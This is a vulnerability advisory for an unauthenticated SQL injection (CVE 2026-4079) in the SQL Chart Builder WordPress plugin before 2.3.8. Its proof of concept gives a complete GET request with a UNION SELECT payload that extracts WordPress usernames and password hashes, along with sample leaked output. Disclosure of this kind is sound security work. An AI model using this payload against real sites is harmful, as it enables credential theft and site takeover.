SQL Chart Builder < 2.3.8 – Unauthenticated SQL Injection | CVE 2026-4079

Description

The plugin does not properly escape user input as it is concatened to SQL queries, making it possible for attackers to conduct SQL Injection attacks against the dynamic filter functionality.

Proof of Concept

### Proof of Concept (PoC)

**Prerequisites:** An administrator has created and published a chart that utilizes the "Dynamic Filter Variables" feature on a public-facing page.

**Execution Steps:**

1. As an unauthenticated visitor, navigate to the public page containing the chart.
2. Identify the dynamic filter parameter name (e.g., `status_tag`) from the page's form or source code.
3. Append the malicious SQLi payload to the URL. The payload uses `UNION SELECT` to extract credentials and appends `-- ()` to comment out the rest of the query while simultaneously bypassing the plugin's quote-wrapping sanitization check.

**Example Malicious Request:**
```http
GET /vulnerable-chart-page/?status_tag=1+OR+1%3d1+UNION+SELECT+user_login,user_pass+FROM+wp_users+--+() HTTP/1.1
Host: [TARGET_DOMAIN]
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64)
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Connection: close
4. View the Page Source (Ctrl+U) of the HTTP response.

5. Search for the JavaScript array rendering the chart data (e.g., search for "labels:").
Verification:
The attacker will find the extracted WordPress administrator credentials seamlessly injected into the chart's data arrays rendered on the frontend:
// Rendered output in Page Source exposing the Admin Hash:
labels: ["inherit","admin_username"],
data: [23,$wp$2y$10$Cu.Wt0ekuTX0.JMTuih1IORC.suKWMDjnHwGSwH6YdV/UqCSj8DYe]